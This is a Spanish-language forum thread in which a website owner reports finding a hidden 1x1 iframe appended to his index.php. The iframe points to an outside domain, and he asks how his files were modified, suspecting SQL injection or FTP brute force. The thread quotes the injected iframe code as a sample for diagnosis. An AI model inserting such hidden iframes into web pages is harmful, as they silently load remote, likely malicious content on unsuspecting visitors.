Fallo de seguridad? Me han modificado el index.php

victorfz · #1 (**permalink**) 28/01/2011, 16:05

Hola en una web que tengo hecha con PHP MYSQL me he encontrado con una desagradable sorpresa, resulta que al final del index.php me han añadido un iframe y no tengo ni idea de como lo han hecho.

Código HTML:

<iframe heigth="1" width="1" frameborder="0" src="http://curem.net/t.php?id=xxxxxx"></iframe>

Al principio sospechaba de que me hubiesen hecho una inyección SQl que en algún descuido se me hubiese pasado pero ya he visto que han modificado el index.php lo cual me parece mas grave todavía.
La contraseña del ftp solo la tiene un compañero y de el me fío al 100% pero por si las moscas he cambiado la contraseña.
A alguien se le ocurre que puede haber pasado aparte de que hallan conseguido la contraseña del FTP con fuerza bruta o algo similar.
Por cierto no tengo ningún fichero con la función fwrite() ni nada similar que me pueda modificar los ficheros del hosting.
Saludos.

#2 (**permalink**) 28/01/2011, 16:07

Si tienes un host gratis, tal vez te lo han implementado ellos...

victorfz · #3 (**permalink**) 28/01/2011, 16:11

Cita:

Iniciado por 3nr1c

Si tienes un host gratis, tal vez te lo han implementado ellos...

Gracias por responder tan rápido pero estoy con un hosting de pago concretamente en byethost.com.
Saludos

victorfz · #4 (**permalink**) 28/01/2011, 16:24

Solo añadir que no tengo ni idea de quien es el propietario de la URL del iframe

http://whois.domaintools.com/curem.net